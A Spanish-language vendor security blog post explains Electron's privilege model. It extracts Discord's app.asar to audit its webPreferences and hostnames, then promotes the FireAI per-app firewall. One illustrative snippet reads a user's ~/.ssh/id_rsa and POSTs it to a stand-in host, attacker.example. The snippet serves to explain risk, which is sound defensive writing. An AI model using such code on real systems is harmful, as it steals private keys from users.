El blog de seguridad de FireAI

Por FireAI Security & Research Team · Publicado

¿Qué hay realmente dentro de sus aplicaciones electrónicas? Extrajimos uno para descubrirlo

¿Qué hay realmente dentro de sus aplicaciones electrónicas? Extrajimos uno para descubrirlo

Electron combina el motor de renderizado Chromium con el tiempo de ejecución de Node.js para que una base de código JavaScript pueda enviarse como una aplicación de escritorio en macOS, Windows y Linux. Slack, Discord, Notion y muchos otros se construyen de esta manera, y durante años también lo fue Microsoft Teams. La comodidad es real. Entonces, vale la pena comprender una consecuencia: una aplicación de Electron no es un proceso con un nivel de privilegio, y el código fuente incluido no es difícil de leer.

Dos procesos, dos niveles de privilegios

Cada aplicación de Electron tiene un proceso principal, que ejecuta Node.js completo con acceso a red y archivos a nivel de sistema operativo normal, y uno o más procesos de renderizador, que muestran contenido web en un contexto de Chromium. El propio documentación de seguridad de Electron es explícito sobre el riesgo de difuminar esa línea: “Es primordial que no habilites la integración de Node.js en ningún renderizador que cargue contenido remoto”, porque al hacerlo se elimina la barrera entre una página web y el sistema operativo. Su solución declarada no es "confiar en el contenido", sino arquitectónica: mantener el acceso al nodo fuera del renderizador y exponerle solo una API deliberadamente estrecha a través de un script precargado y la API contextBridge, con el aislamiento de contexto activado.

Ilustrativo: lo que puede hacer la integración de Node en un renderizador comprometido
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

El archivo no es un secreto: extraer una aplicación real

La mayoría de las aplicaciones de Electron envían su JavaScript y HTML dentro de un archivo app.asar. Los propios documentos de Electron son directos sobre para qué sirve ese formato: "los archivos son de solo lectura" y agruparlos en uno tiene como objetivo "ocultar su código fuente de una inspección superficial" (su propia redacción, no una afirmación externa), al tiempo que indica claramente en otros lugares que ASAR no proporciona cifrado. Para comprobar lo que eso significa en la práctica, extrajimos la copia real actualmente instalada de Discord para macOS (compilación 0.0.294) en esta máquina, utilizando el empaquetador mantenido por Electron.

Terminal
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Un comando produjo 1.056 archivos simples: JavaScript legible, package.json y el diseño del módulo propio de Discord, exactamente como dice la documentación de Electron. Sin descompilación, sin ingeniería inversa, sin contraseña. Esto no es un defecto de Discord; Así es como funciona el formato ASAR para cada aplicación de Electron, por diseño.

Lo que muestra un extracto real sobre el comportamiento de la red

Con la fuente en texto plano, tanto la revisión de seguridad como la búsqueda se vuelven triviales. Buscamos en los archivos extraídos dos cosas: qué preferencias web establece realmente Discord y qué nombres de host aparecen en su propio código (excluyendo node_modules de terceros).

Terminal, resultados del extracto real anterior
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Para ser justos con la aplicación específica que probamos: la ventana de presentación de Discord sigue exactamente los consejos de endurecimiento de Electron, nodeIntegration: false y contextIsolation: true. Vale la pena decirlo claramente en lugar de omitirlo. Lo que esto quiere decir no es que Discord sea inseguro; es que podemos comprobarlo, en minutos, en cualquier aplicación de Electron, porque el formato de archivo no mantiene nada oculto. La mayoría de las personas que instalan una aplicación de Electron nunca miran, y la mayoría de las herramientas de punto final estáticas tampoco lo hacen.

Por qué un firewall de confianza binaria no puede ayudar aquí

Ninguno de los nombres de host anteriores es secreto o sorprendente para una aplicación de chat, y ese es exactamente el problema para la defensa a nivel de red. Un firewall que decide por firma de código ve una cosa: un binario certificado por Apple y certificado por notario que realiza solicitudes HTTPS ordinarias en el puerto 443. No tiene forma de distinguir entre una llamada API legítima, un SDK de análisis incluido y, en un renderizador genuinamente comprometido, un intento de exfiltración. Los tres parecen el mismo proceso confiable hablando con Internet, porque son el mismo proceso.

  • Juzgar una aplicación de Electron por su firma de código no dice nada sobre cuáles de sus muchas dependencias incluidas están realizando qué conexiones.
  • Debido a que la fuente es JavaScript simple en un archivo no cifrado, auditar lo que una aplicación puede alcanzar es realista, no teórico, para cualquiera que esté dispuesto a ejecutar asar extract.
  • El único control que no depende de la confianza en el binario es la política de red por proceso y por destino: decidir, en el socket, a qué puede llegar una aplicación determinada.

Dónde entran FireAI y HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI es el producto de HisnLabs: un firewall con IA que corre directamente en tu Mac. Te muestra, en lenguaje claro, cada conexión que hacen tus aplicaciones y te deja decidir qué sale de tu Mac; su IA funciona de manera local, así que tu tráfico nunca se envía a nosotros ni a nadie más. El equipo de investigación en seguridad de HisnLabs es el que mantiene esas decisiones confiables: cataloga qué dominios son simple telemetría y cuáles un servicio real, rastrea el país y la red detrás de cada conexión, y entrena el modelo local (la función Autopilot) con patrones de tráfico reales, sin que nada de eso salga de tu Mac.

Puedes leer las decisiones técnicas detrás de FireAI, o probarlo durante 17 días, en FireAI, de HisnLabs.

Fuentes